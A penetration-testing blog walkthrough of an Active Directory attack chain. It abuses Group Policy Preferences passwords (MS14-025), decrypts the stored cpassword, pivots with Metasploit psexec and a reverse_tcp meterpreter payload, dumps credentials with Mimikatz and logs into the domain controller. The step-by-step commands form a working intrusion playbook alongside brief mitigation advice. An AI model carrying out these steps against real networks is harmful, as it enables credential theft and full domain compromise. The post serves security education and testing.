The Active Directory Kill Chain: Is Your Company at Risk?

In May of 2014, Microsoft released Security Bulletin MS14-025. The vulnerability described in this disclosure could allow for the elevation of privilege if Active Directory Group Policy is used to distribute local administrator passwords throughout a domain. In this blog post, we will walk through an entire attack scenario centered around the use (and abuse) of this vulnerability.

This is the Active Directory Kill Chain.

The Introductory Stuff (Overview)

Okay, so you have a foothold in an organization. You managed to phish a user on the domain, and you have unprivileged access to a Windows system. You tried every exploit you know, but to your dismay, the system seems to be up to date on patches and configured quite well.

It’s official: You’re stuck.

You could write up your findings as they are. After all, gaining unprivileged access to a system is a good finding, especially if the user is in a role that handles sensitive information, such as accounting or payroll.

What if, though, you could take over the entire domain and show how vulnerable the network truly is? You can say it’s all in the client’s best interest — which is completely true — but let’s not discount how freakin’ awesome this would be!

This guide addresses that: how to transition from unprivileged client access to full domain control. For demonstration’s sake, let’s assume that unprivileged access to a client’s machine has already been achieved. We’ll be working our way through to a file server on the network, and eventually to our domain controller.

One important (and scary!) note about this lab environment is that the domain has been configured exactly following Microsoft’s TechNet Guide. No intentional misconfiguration or vulnerable software has been added for demonstration’s sake.

The Boring Stuff (Setup)

Start by configuring four systems:

• Domain Controller (Windows Server 2008 R2 SP1)
  • We followed this guide for setting up the domain controller.
  • And, we used this guide for setting up a Local Administrator Group Policy.
  • Lastly, this guide was used for setting up a mapped network drive through Group Policy.
• Client System (Windows 7 Professional x64)
  • This system serves as our foothold into the network.
  • No additional configuration or software has been done to this machine, other than a simple payload to instantiate a meterpreter session as an unprivileged user (since this is the guide’s starting point). This step can be completed in real life through a number of ways (phishing, software exploits, etc.)
• File Server (Windows Server 2008 R2 SP1)
  • This system serves as a breadcrumb of sorts for further advancement through the network. During the course of the AD Kill Chain, it will become important to find a system with a logged-in domain administrator. Infrastructure machines, such as file servers, could serve this purpose.
• Attacker Machine (Kali Linux 1.1.0a x64)
  • In an effort to be as universally applicable as possible, we have used openly available tools in this demonstration. The easiest method is to demonstrate with a widely adopted platform. I chose Kali for this instance.
  • The exception to this being a “Kali Only” attack platform is that this also uses Mimikatz (not the Meterpreter plugin, the actual Mimikatz application). You can download this for free.

The Fun Stuff (Exploitation)

Let’s set the scene …

You have unprivileged access to a client machine (because you’re awesome like that). You currently have a meterpreter session on the machine, running as “John Doe.” You have tried local exploitation and the exploitation of misconfigured services on the machine, but you just can’t escalate to local admin privileges — let alone domain controller access.

Because you read this guide, though, you know that another option for privilege escalation is to see what you can get from the domain controller. You take the following steps:

• First, you will gain local administrative privileges by retrieving the group policy file from the domain controller.
• Next, use this newly gained privilege to log into an infrastructure server and gather credentials from memory. (Hopefully, you will get a domain admin’s credentials.)
• Finally, you use your acquired domain admin credentials to log into the domain controller and document your control over the entire network.

Now, you have a plan and an unprivileged meterpreter session on the client. Let’s begin!

Obtain Local Admin Privileges

1. Drop into a shell from meterpreter.
2. Find the domain controller’s hostname/IP address.
   a. Open the nslookup application by typing the following and hitting enter: nslookup
   b. In this application, type the following and hit enter: set type=all
   c. Type the following and hit enter, replacing DOMAIN_NAME with the actual domain: _ldap._tcp.dc._msdcs.DOMAIN_NAME
   d. As illustrated in the below screenshot, the nslookup query will return the domain controller hostname .
   e. Take note of the domain controller hostname and type the following to quit nslookup: exit
3. 

1. Mount the sysvol drive to a drive letter.
   a. From the command shell, type the following, replacing dc01.dc-esc.bishopfox.com with the domain controller from the previous step and hit enter: net use Y: \\dc01.dc-esc.bishopfox.com\sysvol
   b. If you receive the error message “The local device name is already in use,” replace “Y:” with a different, unused drive letter name.
2. Search sysvol for the Groups.xml file.
   a. To change to the newly mounted sysvol drive, type the following and hit enter, replacing Y: with the drive letter used: Y:
   b. Search for the Groups.xml file with the following command: dir /s Groups.xml
   c. Navigate to the directory containing the Groups.xml and output the contents with the following command: type Groups.xml
   d. In the Groups.xml file, you can see a variable named “cpassword.” The value is the local administrator password, encrypted with a known decryption key.
3. Decrypt the cpassword.
   a. To accomplish this, there are several available scripts, written in PowerShell, Ruby, Python, and so on. On Kali, there is a tool called gpp-decrypt that can easily and quickly decrypt this password. To do this, run: gpp-decrypt <cpassword value>
   b. As you can see here, the password is “Supersecure!”

Pivot Through the Network

Now that we have access to the local administrator account that is pushed through group policy to every system on the domain, let’s make this work for you. This section will describe how to pivot through the network using these credentials.

1. 1. Identify an infrastructure server. In this guide, thanks to thorough information gathering on the client machine, we have identified a shared drive on FS01 that appears to be a file-sharing server where multiple departments house data. The chances of a domain admin having been logged into this machine since the machines last reboot are very likely.
      1. Open metasploit and use exploit/windows/smb/psexec (Note that the psexec module may trigger some anti-virus applications. If your target has or is suspected to have anti-virus running, try using psexec_psh.)
      2. Set the payload to windows/meterpreter/reverse_tcp
      3. Set the RHOST to the file sharing server. In this guide, that would be: fs01.dc-esc.bishopfox.com
      4. Set the LHOST to your machine IP.
      5. Set the LPORT to the desired port.
      6. Run the exploit command, and we will have a full shell as the SYSTEM account.
   2. Once on the server, pull passwords from memory with Mimikatz.
      a. Upload the Mimikatz binaries and DLLs to the server
      b. Run mimikatz.exe
      c. Use the following commands in this order:
      1. privilege::debug
      2. sekurlsa::logonPasswords full
   3. The output below is Mimikatz’s output. We can see that the user njones has the password “BestDAEver!”
   4. To verify that njones is a domain admin, we can also run the following command to retrieve a list of all domain admins:
      1. net group “Domain Admins”
      

Take the Domain!

Thus far, you have gone from an unprivileged user to possessing the domain administrator’s credentials. The last steps are to log on to the domain controller and take some compromising screenshots for your report.

• Log in to the server via Remote Desktop.
• Collect any information you feel is important. (Personally, I like to get screenshots of the CEO, CISO, or executive staff accounts.)

• From here, do whatever is necessary for your engagement’s success; gather emails from the exchange server, access any server on the domain, etc.

That’s a Wrap!

Whew! We quickly and realistically went from an unprivileged user to a full domain admin. Keep in mind that the scenario outlined here is common. The only instance in which you may lack the domain administrator’s credentials will be with your first system; otherwise, having the domain administrator’s credentials (you may have to try a few infrastructure servers) is fairly typical. All configuration steps for each system were taken directly from TechNet (Microsoft resources), and the chosen operating systems are not only up to date, but often found in corporate environments.

Unfortunately, there is no direct way to prevent the abuse of Group Policy in this way. This is simply how it works. A few suggestions to work around the Group Policy issues are:

• Do not set the local administrator password through Group Policy.
• Monitor and act upon logins from non-domain credentials (local admin accounts).

Apart from that, this is a simple question of risk analysis. Hopefully, penetration testers and security engineers alike agree that the risks far outweigh the benefits, and do their due diligence in securing the infrastructure that powers their business.

Kevin Sugihara and Matthew Gleason presented on this topic at the Phoenix Security & Audit Conference 2015 on Sept. 10, 2015.